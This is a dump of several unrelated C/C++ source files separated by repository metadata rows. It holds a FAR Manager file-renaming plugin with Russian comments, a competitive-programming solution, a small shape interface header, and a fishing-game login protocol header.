ptr=buf;
while (*pMask)
{
if (!strncmp(pMask, _T("[[]"), 3))
{
*ptr++=*pMask++; pMask+=2;
}
else if (!strncmp(pMask, _T("[]]"), 3))
{
pMask+=2; *ptr++=*pMask++;
}
else if (!strncmp(pMask, _T("[N"), 2) || !strncmp(pMask, _T("[E"), 2))
{
bool bName=!strncmp(pMask, _T("[N"), 2);
int len=lstrlen(bName?Name:Ext);
if (*(pMask+2)==_T(']')) // [N] или [E]
{
lstrcpy(ptr, bName?Name:Ext); pMask+=3; ptr+=len;
}
else // [N#-#] или [E#-#]
{
TCHAR buf2[512], Start[512], End[512];
int i, iStart, iEnd;
bool bFromEnd_Start=false, bFromEnd_End=false;
pMask+=2;
// отсчитывать будем с конца имени
if (*pMask==_T('-')) { bFromEnd_Start=true; pMask++; }
// число
for (i=0; *pMask>=_T('0') && *pMask<=_T('9'); i++, pMask++) Start[i]=*pMask;
Start[i]=_T('\0'); iStart=FSF.atoi(Start);
if (iStart==0) return false;
if (bFromEnd_Start)
iStart=len-iStart;
else
{
iStart--;
if (iStart>len) iStart=len;
}
// копируем символ...
if (*pMask==_T(']'))
{
if (iStart<0) iStart=len; //< bFromEnd_Start==true
*ptr++=*((bName?Name:Ext)+iStart);
pMask++;
}
// иначе, разбираем дальше...
else
{
if (iStart<0) iStart=0; //< bFromEnd_Start==true
if (*pMask==_T(','))
{
pMask++;
for (i=0; *pMask>=_T('0') && *pMask<=_T('9'); i++, pMask++) End[i]=*pMask;
End[i]=_T('\0'); iEnd=FSF.atoi(End);
if (!iEnd || *pMask!=_T(']')) return false;
lstrcpyn(ptr, (bName?Name:Ext)+iStart, iEnd+1);
ptr+=lstrlen(ptr); pMask++;
}
// копируем диапазон символов...
else if (*pMask==_T('-'))
{
pMask++;
if (*pMask==_T(']'))
{
lstrcpy(ptr, (bName?Name:Ext)+iStart);
ptr+=lstrlen(ptr); pMask++;
}
// сам диапазон
else
{
if (bFromEnd_Start) bFromEnd_End=true;
if (*pMask==_T('-'))
if (bFromEnd_End) return false;
else { bFromEnd_End=true; pMask++; }
for (i=0; *pMask>=_T('0') && *pMask<=_T('9'); i++, pMask++) End[i]=*pMask;
End[i]=_T('\0'); iEnd=FSF.atoi(End);
if (!iEnd || *pMask!=_T(']')) return false;
if (bFromEnd_End)
{
iEnd=len-(iEnd-1);
if (iEnd<iStart) iEnd=iStart;
}
else
if (iEnd<=iStart) return false;
lstrcpyn(buf2, (bName?Name:Ext), iEnd+1); lstrcpy(ptr, buf2+iStart);
ptr+=lstrlen(ptr); pMask++;
}
}
else return false;
}
}
}
else if (!strncmp(pMask, _T("[C"), 2))
{
static TCHAR Start[512], Width[512], Step[512];
unsigned i, iStart, iWidth, iStep;
pMask+=2;
for (i=0; *pMask>=_T('0') && *pMask<=_T('9'); i++, pMask++) Start[i]=*pMask;
if (!i || i>9 || *pMask!=_T('+')) return false;
Start[i]=_T('\0'); iStart=FSF.atoi(Start);
iWidth=i; pMask++;
for (i=0; *pMask>=_T('0') && *pMask<=_T('9'); i++, pMask++) Step[i]=*pMask;
if (!i || *pMask!=_T(']')) return false;
Step[i]=_T('\0'); iStep=FSF.atoi(Step);
FSF.sprintf(ptr, _T("%0*d"), iWidth, iStart+ItemIndex*iStep);
ptr+=lstrlen(ptr); pMask++;
}
else if (!strncmp(pMask, _T("[L]"), 3))
{
*dwCase|=(Index==0 ? CASE_NAME_LOWER : CASE_EXT_LOWER);
pMask+=3;
}
else if (!strncmp(pMask, _T("[U]"), 3))
{
*dwCase|=(Index==0 ? CASE_NAME_UPPER : CASE_EXT_UPPER);
pMask+=3;
}
else if (!strncmp(pMask, _T("[F]"), 3))
{
*dwCase|=(Index==0 ? CASE_NAME_FIRST : CASE_EXT_FIRST);
pMask+=3;
}
else if (!strncmp(pMask, _T("[T]"), 3))
{
*dwCase|=(Index==0 ? CASE_NAME_TITLE : CASE_EXT_TITLE);
pMask+=3;
}
else if (!strncmp(pMask, _T("[M]"), 3))
{
*dwCase|=(Index==0 ? CASE_NAME_MUSIC : CASE_EXT_NONE);
pMask+=3;
}
else if (!strncmp(pMask, _T("[#]"), 3))
{
if (pInternalTag && !IsEmpty(pInternalTag->pEntry[TAG_TRACK]))
{
lstrcpy(ptr, pInternalTag->pEntry[TAG_TRACK]);
ptr+=lstrlen(pInternalTag->pEntry[TAG_TRACK]);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[t]"), 3))
{
if ( pInternalTag &&
!IsEmpty(pInternalTag->pEntry[TAG_TITLE]) &&
CheckFileName(pInternalTag->pEntry[TAG_TITLE]) )
{
FSF.Trim(pInternalTag->pEntry[TAG_TITLE]);
lstrcpy(ptr, pInternalTag->pEntry[TAG_TITLE]);
ptr+=lstrlen(pInternalTag->pEntry[TAG_TITLE]);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[a]"), 3))
{
if ( pInternalTag &&
!IsEmpty(pInternalTag->pEntry[TAG_ARTIST]) &&
CheckFileName(pInternalTag->pEntry[TAG_ARTIST]) )
{
FSF.Trim(pInternalTag->pEntry[TAG_ARTIST]);
lstrcpy(ptr, pInternalTag->pEntry[TAG_ARTIST]);
ptr+=lstrlen(pInternalTag->pEntry[TAG_ARTIST]);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[l]"), 3))
{
if ( pInternalTag &&
!IsEmpty(pInternalTag->pEntry[TAG_ALBUM]) &&
CheckFileName(pInternalTag->pEntry[TAG_ALBUM]) )
{
FSF.Trim(pInternalTag->pEntry[TAG_ALBUM]);
lstrcpy(ptr, pInternalTag->pEntry[TAG_ALBUM]);
ptr+=lstrlen(pInternalTag->pEntry[TAG_ALBUM]);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[y]"), 3))
{
if (pInternalTag && !IsEmpty(pInternalTag->pEntry[TAG_YEAR]))
{
lstrcpy(ptr, pInternalTag->pEntry[TAG_YEAR]);
ptr+=lstrlen(pInternalTag->pEntry[TAG_YEAR]);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[g]"), 3))
{
if ( pInternalTag &&
!IsEmpty(pInternalTag->pEntry[TAG_GENRE]) &&
CheckFileName(pInternalTag->pEntry[TAG_GENRE]) )
{
lstrcpy(ptr, pInternalTag->pEntry[TAG_GENRE]);
ptr+=lstrlen(pInternalTag->pEntry[TAG_GENRE]);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[c]"), 3))
{
if (bCorrectJPG && CheckFileName(ImageInfo.CameraMake))
{
lstrcpy(ptr, ImageInfo.CameraMake);
ptr+=lstrlen(ImageInfo.CameraMake);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[m]"), 3))
{
if (bCorrectJPG && CheckFileName(ImageInfo.CameraModel))
{
lstrcpy(ptr, ImageInfo.CameraModel);
ptr+=lstrlen(ImageInfo.CameraModel);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[d]"), 3))
{
if (bCorrectJPG || bCorrectBMP || bCorrectGIF || bCorrectPNG)
{
if (lstrlen(ImageInfo.DateTime))
lstrcpy(ptr, ImageInfo.DateTime);
else
FSF.sprintf(ptr, _T("%04d.%02d.%02d %02d-%02d-%02d"),
modific.wYear, modific.wMonth, modific.wDay,
modific.wHour, modific.wMinute, modific.wSecond);
ptr+=lstrlen(ptr);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[r]"), 3))
{
if (bCorrectJPG || bCorrectBMP || bCorrectGIF || bCorrectPNG)
{
FSF.sprintf(ptr, _T("%dx%d"), ImageInfo.Width, ImageInfo.Height);
ptr+=lstrlen(ptr);
}
pMask+=3;
}
else if (!strncmp(pMask, _T("[DM]"), 4))
{
FSF.sprintf(ptr, _T("%04d.%02d.%02d"), modific.wYear, modific.wMonth, modific.wDay);
pMask+=4; ptr+=10;
}
else if (!strncmp(pMask, _T("[TM]"), 4))
{
FSF.sprintf(ptr, _T("%02d-%02d-%02d"), modific.wHour, modific.wMinute, modific.wSecond);
pMask+=4; ptr+=8;
}
else if (!strncmp(pMask, _T("[TL]"), 4))
{
*dwTranslit|=(Index==0 ? TRANSLIT_NAME_ENG : TRANSLIT_EXT_ENG);
pMask+=4;
}
else if (!strncmp(pMask, _T("[TR]"), 4))
{
*dwTranslit|=(Index==0 ? TRANSLIT_NAME_RUS : TRANSLIT_EXT_RUS);
pMask+=4;
}
else if (*pMask==_T('[') || *pMask==_T(']')) return false;
else *ptr++=*pMask++;
}
*ptr=_T('\0');
if (lstrlen(buf)>=MAX_PATH) return false;
lstrcpy(Index==0?destName:destExt, buf);
}
if (pInternalTag)
{
for (int i=0; i<pInternalTag->nEntryCount; i++)
my_free(pInternalTag->pEntry[i]);
delete pInternalTag;
}
return true;
}
/****************************************************************************
* Поиск и замена в именах файлов (регистрозависимая, опционально).
****************************************************************************/
static bool Replase(const TCHAR *src, TCHAR *dest)
{
int lenSearch=lstrlen(Opt.Search);
if (!lenSearch) return true;
int lenSrc=lstrlen(src);
int lenReplace=lstrlen(Opt.Replace);
int j=0;
TCHAR buf[512];
// делаем замену
if (!Opt.RegEx)
{
for (int i=0; i<lenSrc; )
{
if (!(Opt.CaseSensitive?strncmp(src+i, Opt.Search, lenSearch)
:FSF.LStrnicmp(src+i, Opt.Search, lenSearch) ))
{
for (int k=0; k<lenReplace; k++)
buf[j++]=Opt.Replace[k];
i+=lenSearch;
}
else
buf[j++]=src[i++];
}
buf[j]=_T('\0');
if (j>=MAX_PATH || !CheckFileName(buf)) return false;
lstrcpy(dest, buf);
}
else
{
pcre *re;
//pcre_extra *re_ext;
const char *Error;
int ErrPtr;
int matchCount;
int start_offset=0;
const int OvectorSize=99;
int Ovector[OvectorSize];
TCHAR AnsiSrc[MAX_PATH], AnsiSearch[512];
OemToChar(src, AnsiSrc); OemToChar(Opt.Search, AnsiSearch);
if (!(re=pcre_compile(AnsiSearch, Opt.CaseSensitive?0:PCRE_CASELESS,
&Error, &ErrPtr, 0))) return false;
//if (!(re_ext=pcre_study(re, 0, &Error))) { pcre_free(re); return false; }
while ((matchCount=pcre_exec(re, /*re_ext*/0, AnsiSrc, lenSrc, start_offset,
PCRE_NOTEMPTY, Ovector, OvectorSize))>0)
{
// копируем ДО паттерна
for (int i=start_offset; i<Ovector[0]; i++)
buf[j++]=src[i];
// нашли паттерн. подменяем содержимым Opt.Replace
for (int i=0; i<lenReplace; i++)
{
// после '\' вставляем без изменений
if (Opt.Replace[i]==_T('\\') && i+1<lenReplace)
{
buf[j++]=Opt.Replace[++i]; continue;
}
// подменяем на найденные подвыражения
if (Opt.Replace[i]==_T('$') && i+1<lenReplace)
{
TCHAR *p=Opt.Replace+(i+1), Digit[10];
unsigned int k, iDigit;
for (k=0; *p>=_T('0') && *p<=_T('9') && k<9; k++, p++)
Digit[k]=*p;
if (k)
{
Digit[k]=_T('\0');
iDigit=FSF.atoi(Digit);
if (iDigit<matchCount && iDigit<=99)
{
i+=k;
for (k=Ovector[iDigit*2]; k<Ovector[iDigit*2+1]; k++)
buf[j++]=src[k];
}
else i+=k;
}
else buf[j++]=Opt.Replace[i];
}
else buf[j++]=Opt.Replace[i];
}
start_offset=Ovector[1];
}
pcre_free(re);
//pcre_free(re_ext);
// копируем всё то что не вошло в паттерн
for (int i=start_offset; i<lenSrc; i++)
buf[j++]=src[i];
buf[j]=_T('\0');
if (j>=MAX_PATH || !CheckFileName(buf)) return false;
lstrcpy(dest, buf);
}
return true;
}
/****************************************************************************
* Транслитерация имен файлов: русский <-> russkij
****************************************************************************/
static void Translit(TCHAR *Name, TCHAR *Ext, DWORD dwTranslit)
{
if (!dwTranslit) return;
// CP-1251
TCHAR rus[][33]={
_T("ж"), _T("з"), _T("ы"), _T("в"), _T("у"),
_T("т"), _T("щ"), _T("ш"), _T("с"), _T("р"),
_T("п"), _T("о"), _T("н"), _T("м"), _T("л"),
_T("х"), _T("к"), _T("ю"), _T("ё"), _T("я"),
_T("й"), _T("и"), _T("г"), _T("ф"), _T("э"),
_T("е"), _T("д"), _T("ч"), _T("ц"), _T("б"),
_T("а"), _T("ъ"), _T("ь")
};
TCHAR eng[][33]={
_T("zh"), _T("z"), _T("y"), _T("v"), _T("u"),
_T("t"), _T("shh"), _T("sh"), _T("s"), _T("r"),
_T("p"), _T("o"), _T("n"), _T("m"), _T("l"),
_T("kh"), _T("k"), _T("ju"), _T("jo"), _T("ja"),
_T("j"), _T("i"), _T("g"), _T("f"), _T("eh"),
_T("e"), _T("d"), _T("ch"), _T("c"), _T("b"),
_T("a"), _T("`"), _T("'")
};
int i;
// ФАРу надо CP-866
for (i=0; i<33; i++) CharToOem(rus[i], rus[i]);
TCHAR Buf[4096];
int lenOut, lenIn;
if (dwTranslit&TRANSLIT_NAME_ENG || dwTranslit&TRANSLIT_NAME_RUS)
{
lenOut=lenIn=0;
Buf[0]=_T('\0');
TCHAR *out=Buf, *in=Name;
bool bEng=dwTranslit&TRANSLIT_NAME_ENG;
while (*in)
{
for (i=0; i<33; i++)
if (!FSF.LStrnicmp(in, (bEng?rus[i]:eng[i]), lenIn=lstrlen(bEng?rus[i]:eng[i])))
{
lenOut=lstrlen(lstrcpy(out, (bEng?eng[i]:rus[i]))); break;
}
if (i==33) {*out++=*in++; continue;}
if (FSF.LIsUpper((BYTE)*in)) *out=(TCHAR)FSF.LUpper((BYTE)*out);
in+=lenIn; out+=lenOut;
}
*out=_T('\0');
if (lstrlen(Buf)+lstrlen(Ext)<MAX_PATH) lstrcpy(Name, Buf);
}
if (dwTranslit&TRANSLIT_EXT_ENG || dwTranslit&TRANSLIT_EXT_RUS)
{
lenOut=lenIn=0;
Buf[0]=_T('\0');
TCHAR *out=Buf, *in=Ext;
bool bEng=dwTranslit&TRANSLIT_EXT_ENG;
while (*in)
{
for (i=0; i<33; i++)
if (!FSF.LStrnicmp(in, (bEng?rus[i]:eng[i]), lenIn=lstrlen(bEng?rus[i]:eng[i])))
{
lenOut=lstrlen(lstrcpy(out, (bEng?eng[i]:rus[i]))); break;
}
if (i==33) {*out++=*in++; continue;}
if (FSF.LIsUpper((BYTE)*in)) *out=(TCHAR)FSF.LUpper((BYTE)*out);
in+=lenIn; out+=lenOut;
}
*out=_T('\0');
if (lstrlen(Buf)+lstrlen(Name)<MAX_PATH) lstrcpy(Ext, Buf);
}
}
/****************************************************************************
* Изменение регистра имен файлов.
****************************************************************************/
static void Case(TCHAR *Name, TCHAR *Ext, DWORD dwCase)
{
if (!dwCase) return;
// регистр имени
if (dwCase&CASE_NAME_LOWER)
FSF.LStrlwr(Name);
else if (dwCase&CASE_NAME_UPPER)
FSF.LStrupr(Name);
else if (dwCase&CASE_NAME_FIRST)
{
*Name = (TCHAR)FSF.LUpper((BYTE)*Name);
FSF.LStrlwr(Name+1);
}
else if (dwCase&CASE_NAME_TITLE)
{
for (int i=0; Name[i]; i++)
{
if (!i || memchr(Opt.WordDiv, Name[i-1], lstrlen(Opt.WordDiv)))
Name[i]=(TCHAR)FSF.LUpper((BYTE)Name[i]);
else
Name[i]=(TCHAR)FSF.LLower((BYTE)Name[i]);
}
}
// музыкальный файл обрабатывается особо:
// все слова до " - " или "_-_" будут в CASE_NAME_TITLE, а после в - CASE_NAME_FIRST
else if (dwCase&CASE_NAME_MUSIC)
{
int lenName=lstrlen(Name);
int Ptr=lenName;
for (int i=0; i<lenName; i++)
{
if (!strncmp(Name+i, _T(" - "), 3) || !strncmp(Name+i, _T("_-_"), 3))
{
if (i>0 && FSF.LIsAlpha((BYTE)Name[i-1]))
{
Ptr=i;
break;
}
}
}
for (int i=0; Name[i] && i<Ptr; i++)
{
if (!i || memchr(Opt.WordDiv, Name[i-1], lstrlen(Opt.WordDiv)))
Name[i]=(TCHAR)FSF.LUpper((BYTE)Name[i]);
else
Name[i]=(TCHAR)FSF.LLower((BYTE)Name[i]);
if (i>0 && Name[i+1] && memchr(Opt.WordDiv, Name[i-1], lstrlen(Opt.WordDiv))
&& ((BYTE)Name[i])==0x88 && memchr(Opt.WordDiv, Name[i+1], lstrlen(Opt.WordDiv)))
Name[i]=(TCHAR)FSF.LLower((BYTE)Name[i]);
}
if (Ptr!=lenName)
{
*(Name+Ptr+3) = (TCHAR)FSF.LUpper((BYTE)*(Name+Ptr+3));
FSF.LStrlwr(Name+Ptr+3+1);
}
}
// регистр расширения
if (dwCase&CASE_EXT_LOWER)
FSF.LStrlwr(Ext);
else if (dwCase&CASE_EXT_UPPER)
FSF.LStrupr(Ext);
else if (dwCase&CASE_EXT_FIRST)
{
*Ext = (TCHAR)FSF.LUpper((BYTE)*Ext);
FSF.LStrlwr(Ext+1);
}
else if (dwCase&CASE_EXT_TITLE)
for (int i=0; Ext[i]; i++)
{
if (!i || memchr(Opt.WordDiv, Ext[i-1], lstrlen(Opt.WordDiv)))
Ext[i]=(TCHAR)FSF.LUpper((BYTE)Ext[i]);
else
Ext[i]=(TCHAR)FSF.LLower((BYTE)Ext[i]);
}
}
/****************************************************************************
* Проверка на Esc. Возвращает true, если пользователь нажал Esc
****************************************************************************/
static bool CheckForEsc(HANDLE hConInp)
{
if (hConInp==INVALID_HANDLE_VALUE) return false;
static DWORD dwTicks;
DWORD dwNewTicks=GetTickCount();
if (dwNewTicks-dwTicks<500) return false;
dwTicks=dwNewTicks;
INPUT_RECORD rec;
DWORD ReadCount;
while (PeekConsoleInput(hConInp, &rec, 1, &ReadCount) && ReadCount)
{
ReadConsoleInput(hConInp, &rec, 1, &ReadCount);
if ( rec.EventType == KEY_EVENT && rec.Event.KeyEvent.wVirtualKeyCode == VK_ESCAPE &&
rec.Event.KeyEvent.bKeyDown )
// Опциональное подтверждение прерывания по Esc
if ( Info.AdvControl(Info.ModuleNumber, ACTL_GETCONFIRMATIONS, NULL) & FCS_INTERRUPTOPERATION )
{
if (YesNoMsg(MEscTitle, MEscBody)) return true;
}
else return true;
}
return false;
}
/****************************************************************************
* Основная функция по обработке и созданию новых имен файлов.
****************************************************************************/
static bool ProcessFileName()
{
if (!CheckFileName(Opt.MaskName) || !CheckFileName(Opt.MaskExt))
return false;
HANDLE hScreen=Info.SaveScreen(0,0,-1,-1);
HANDLE hConInp=CreateFile(_T("CONIN$"), GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
TCHAR NewName[NM], NewExt[NM];
DWORD dwCase=0, dwTranslit=0, dwTicks=GetTickCount();
bool bRet=true;
for (unsigned Index=0; Index<sFI.iCount; Index++)
{
TCHAR *src = sFI.ppi[Index].FindData.cFileName,
*dest = sFI.DestFileName[Index];
if (GetTickCount()-dwTicks>1000)
{
TCHAR buf[15];
FSF.itoa(Index, buf, 10);
static TCHAR *MsgItems[]={(TCHAR *)GetMsg(MVRenTitle), (TCHAR *)GetMsg(MLoadFiles), buf};
Info.Message(Info.ModuleNumber, 0, 0, MsgItems, 3, 0);
if (CheckForEsc(hConInp))
{
for (int i=Index; i<sFI.iCount; i++)
{
my_free(&sFI.ppi[i]); my_free(sFI.DestFileName[i]); sFI.DestFileName[i]=0;
}
sFI.iCount=Index;
break;
}
}
if (!GetNewNameExt(src, NewName, NewExt, Index, &dwCase, &dwTranslit, sFI.ppi[Index].FindData.ftLastWriteTime))
{
bRet=false; break;
}
lstrcpy(dest, NewName);
if (NewExt[0])
{
if (lstrlen(NewExt)+1>=MAX_PATH)
{
bRet=false; break;
}
else
lstrcat(lstrcat(dest, _T(".")), NewExt);
}
if (!Replase(dest, dest))
{
bRet=false; break;
}
lstrcpy(NewName, dest);
TCHAR *ptr=strrchr(NewName, _T('.'));
if (ptr) { *ptr=_T('\0'); lstrcpy(NewExt, ++ptr); }
else NewExt[0]=_T('\0');
Translit(NewName, NewExt, dwTranslit);
Case(NewName, NewExt, dwCase);
lstrcpy(dest, NewName);
if (NewExt[0]) lstrcat(lstrcat(dest, _T(".")), NewExt);
}
CloseHandle(hConInp);
Info.RestoreScreen(hScreen);
return bRet;
}
/****************************************************************************
* Функция по переименованию файлов. Делает протокол переименования.
* Показывает предупреждение, если произошла ошибка при переименовании файла.
* Показывает кол-во обработанных файлов из общего числа переданных.
****************************************************************************/
static bool RenameFile(PanelInfo *PInfo)
{
TCHAR srcFull[MAX_PATH], destFull[MAX_PATH];
bool bSkipAll=false;
int i, j, Count, iRen=0, iUndo=0;
PanelRedrawInfo RInfo={0,0};
SetLastError(ERROR_SUCCESS);
// вначале снимем выделение на панели
for (i=PInfo->ItemsNumber-1; i>=0; i--)
PInfo->PanelItems[i].Flags &= ~PPIF_SELECTED;
if (!Opt.Undo)
{
Count=sFI.iCount;
for (i=0; i<Count; i++)
{
TCHAR *src =sFI.ppi[i].FindData.cFileName,
*dest=sFI.DestFileName[i];
// Имена совпадают - пропустим переименование
if (!lstrcmp(src, dest)) continue;
RETRY_1:
// Переименовываем
if (MoveFile(src, dest))
{
iRen++;
// поместим в Undo
if (Opt.LogRen && !BuildUndoItem(dest, src, iUndo++))
{
Opt.LogRen=0;
ErrorMsg(MErrorCreateLog, MErrorNoMem);
}
continue;
}
// файл был удален сторонним процессом - продолжим без него
if (GetLastError()==ERROR_FILE_NOT_FOUND) continue;
// не переименовали - отметим
if (bSkipAll)
{
for (j=0; j<PInfo->ItemsNumber; j++)
if (!FSF.LStricmp(PInfo->PanelItems[j].FindData.cFileName, src))
{
PInfo->PanelItems[j].Flags |= PPIF_SELECTED;
break;
}
continue;
}
// Запрос с сообщением-ошибкой переименования
const TCHAR *MsgItems[]={
GetMsg(MVRenTitle),
GetMsg(MRenameFail),
src,
GetMsg(MTo),
dest,
GetMsg(MSkip), GetMsg(MSkipAll), GetMsg(MRetry), GetMsg(MCancel)
};
int Ret=Info.Message( Info.ModuleNumber, FMSG_WARNING|FMSG_ERRORTYPE, 0,
MsgItems, sizeof(MsgItems) / sizeof(MsgItems[0]), 4 );
switch (Ret)
{
case 2: // Повторить
goto RETRY_1;
case 1: // Пропустить все
bSkipAll=true;
case 0: // Пропустить
// не переименовали - отметим
for (j=0; j<PInfo->ItemsNumber; j++)
if (!FSF.LStricmp(PInfo->PanelItems[j].FindData.cFileName, src))
{
PInfo->PanelItems[j].Flags |= PPIF_SELECTED;
break;
}
break;
default: // Отменить
// не переименовали - отметим
for ( ; i<Count; i++)
for (j=0; j<PInfo->ItemsNumber; j++)
if (!FSF.LStricmp(PInfo->PanelItems[j].FindData.cFileName, sFI.ppi[i].FindData.cFileName))
{
PInfo->PanelItems[j].Flags |= PPIF_SELECTED;
break;
}
goto NEXT;
}
}
}
else
{
Count=sUndoFI.iCount;
for (i=Count-1; i>=0; i--)
{
TCHAR *src =BuildFullFilename(srcFull, sUndoFI.Dir, sUndoFI.CurFileName[i]),
*dest=BuildFullFilename(destFull, sUndoFI.Dir, sUndoFI.OldFileName[i]);
RETRY_2:
if (MoveFile(src, dest)) { iRen++; continue; }
if (GetLastError()==ERROR_FILE_NOT_FOUND || bSkipAll) continue;
const TCHAR *MsgItems[]={
GetMsg(MVRenTitle),
GetMsg(MRenameFail),
src,
GetMsg(MTo),
dest,
GetMsg(MSkip), GetMsg(MSkipAll), GetMsg(MRetry), GetMsg(MCancel)
};
int Ret=Info.Message( Info.ModuleNumber, FMSG_WARNING|FMSG_ERRORTYPE, 0,
MsgItems, sizeof(MsgItems) / sizeof(MsgItems[0]), 4 );
switch (Ret)
{
case 2: // Повторить
goto RETRY_2;
case 1: // Пропустить все
bSkipAll=true;
case 0: // Пропустить
break;
default: // Отменить
goto BREAK;
}
}
BREAK:
if (i<0) i=0;
// установим каталог
Info.Control(INVALID_HANDLE_VALUE, FCTL_SETPANELDIR, (void *)sUndoFI.Dir);
// отметим файлы
Info.Control(INVALID_HANDLE_VALUE, FCTL_GETPANELINFO, PInfo);
for (int k=i; k<Count; k++)
for (j=0; j<PInfo->ItemsNumber; j++)
if (!FSF.LStricmp(PInfo->PanelItems[j].FindData.cFileName, sUndoFI.OldFileName[k]))
{
if (k==i) RInfo.TopPanelItem=RInfo.CurrentItem=j;
PInfo->PanelItems[j].Flags |= PPIF_SELECTED;
break;
}
}
NEXT:
// удалим из структуры лишние элементы (от старого Undo)
for (i=sUndoFI.iCount-1; i>iUndo-1; i--)
{
my_free(sUndoFI.CurFileName[i]); sUndoFI.CurFileName[i]=0;
my_free(sUndoFI.OldFileName[i]); sUndoFI.OldFileName[i]=0;
}
// что-то поместили в Undo...
if (sUndoFI.iCount=iUndo)
{
// ...запомним тогда и каталог
if (!(sUndoFI.Dir=(TCHAR*)my_realloc(sUndoFI.Dir, (lstrlen(PInfo->CurDir)+1)*sizeof(TCHAR))) )
{
FreeUndo();
ErrorMsg(MVRenTitle, MErrorCreateLog);
}
else
lstrcpy(sUndoFI.Dir, PInfo->CurDir);
}
if (iRen)
{
TCHAR buf[80];
FSF.sprintf(buf, GetMsg(MProcessedFmt), iRen, Count);
const TCHAR *MsgItems[]={GetMsg(MVRenTitle), buf, GetMsg(MOK)};
Info.Message( Info.ModuleNumber, 0, 0, MsgItems,
sizeof(MsgItems) / sizeof(MsgItems[0]), 1 );
}
Info.Control(INVALID_HANDLE_VALUE, FCTL_SETSELECTION, PInfo);
Info.Control(INVALID_HANDLE_VALUE, FCTL_REDRAWPANEL, Opt.Undo?&RInfo:0);
return true;
}
| [
"barbalion@gmail.com"
] | barbalion@gmail.com |
8f69057c22734328b6848905729b1c8eeaa45644 | 290952d106627de07fc2c9581665e7c560ab18bd | /Practice for BUET/Individual/Onsite Individual on September 1, 2016/D - Cubist Artwork.cpp | 70fa28004cd62311b32a9ff35da28b6ae69573d5 | [] | no_license | MdAbuNafeeIbnaZahid/Competitive-Programming | 8669db792d3d604ee09429378da52d238b0e5b13 | 5b8f4f0c08c62ac410fdf153b3c4bd19775411b1 | refs/heads/master | 2021-01-20T07:57:04.742595 | 2018-09-25T15:29:32 | 2018-09-25T15:29:32 | 83,894,136 | 4 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 715 | cpp | #include <bits/stdc++.h>
using namespace std;
#define SIZE 59
long long w, d, wAr[SIZE], dAr[SIZE];
long long a, b, c, e, f, g, h, ans;
int main()
{
//freopen("input.txt", "r", stdin);
while(1)
{
ans = 0;
memset(wAr, 0, sizeof(wAr));
memset(dAr, 0, sizeof(dAr));
cin >> w >> d;
if (w+d==0) return 0;
for (a = 1; a <= w; a++)
{
scanf("%lld", &h);
wAr[h]++;
}
for (a = 1; a <= d; a++)
{
scanf("%lld", &h);
dAr[h]++;
}
for (a = 0; a < SIZE; a++)
{
ans += a*max( wAr[a], dAr[a] );
}
cout << ans << endl;
}
return 0;
}
| [
"1305023.maniz@ugrad.cse.buet.ac.bd"
] | 1305023.maniz@ugrad.cse.buet.ac.bd |
52a1c8cb6703340be9a3d77655bf7516a619b8c2 | 54a61810cc63f593d9a6dc96d675f900e64d5622 | /laba5/laba5/figure.h | cacf620f2764f34f1c58dc7a3c9f33320d5eb72e | [] | no_license | alexbakharew/OOP | 9b83c8b757db7e93f41129710ac52280f96d5a4d | 40c47d136313487026eb4e9e8b78d92d072f6ae5 | refs/heads/master | 2021-03-27T09:59:15.646266 | 2019-01-09T10:23:57 | 2019-01-09T10:23:57 | 110,841,506 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 190 | h | #pragma once
class IFigure
{
public:
virtual double Square() = 0;
virtual double Print() = 0;
virtual ~IFigure() = 0 {};
};
typedef struct
{
int x;
int y;
}dot;
double length(dot, dot); | [
"alex.bakharew@yandex.ru"
] | alex.bakharew@yandex.ru |
811c3f1503e85ac17de873138dced9badb9239c8 | c967308d6aa41de943fa78b34afb11ef246088fc | /Classes/common/CMD_LogonServer.h | f14273f8a358594dc38da2da4c8836708890930a | [] | no_license | IceCoffee2011/CatchFish3 | ab9be97481f8b6cb73c8eb82d41053082f928e24 | 0f034d96447b282e8e75b88afd891dd7864ed561 | refs/heads/master | 2020-05-05T11:00:41.150725 | 2017-01-14T08:02:45 | 2017-01-14T08:02:45 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 47,661 | h | #ifndef CMD_LONGON_HEAD_FILE
#define CMD_LONGON_HEAD_FILE
#pragma pack(1)
//////////////////////////////////////////////////////////////////////////////////
//登录命令
#define MDM_GP_LOGON 1 //广场登录
//登录模式
#define SUB_GP_LOGON_GAMEID 1 //I D 登录
#define SUB_GP_LOGON_ACCOUNTS 2 //帐号登录
#define SUB_GP_REGISTER_ACCOUNTS 3 //注册帐号
#define SUB_GP_GUEST_REGISTER 4 //游客注册
#define DTP_GP_IOSCHARGEHIDE 22
#define DTP_GP_IOSPASSED 23
#define DTP_GP_MEMBER_ORDER 24
#define DTP_GP_GIFT_TICKET 25
#define DTP_GP_SHOWFAKETABLE 26
#define DTP_GP_VIPINFO 27 //玩家的VIP信息
#define DTP_GP_CUSTOMERSERVICEQQ 28 //客服QQ
#define DTP_GP_LOGONGIFT 29 //登陆奖励,每天可以领取一次
#define DTP_GP_GAME_CELLSCORE 30
#define DTP_GP_CHARGE_FIRSTINFO 31
#define DTP_GP_PASS_PORT_ID 32
#define DTP_GP_SHOWNIUGAME 34
#define DTP_GP_SHOW_FUBEN 35
#define DTP_GP_BI_SAI_STATUS 36
#define DTP_GP_WEEK_CMPT_DATA 37
#define DTP_GP_ONE_CHARGE 38
struct DTP_GP_OneFirstCharge
{
int nCoinScore;
BYTE cbHuaFeiNum;
BYTE cbJiaSuCount;
BYTE cbSuoDingCount;
bool bCanCharge;
};
struct DTP_GP_WeekCmptData
{
int nWeekCmptRank;
int nWeekCmptCup;
};
//开关附加属性
enum enButtonSwitch
{
enDayCmptClosed=0x01, //日赛关闭
enWeekCmptClosed=0x02, //周赛关闭
enPackageClosed=0x04, //背包关闭
enChatClosed=0x08, //聊天关闭
enOnlineCoinClosed=0x16,//在线奖励关闭
};
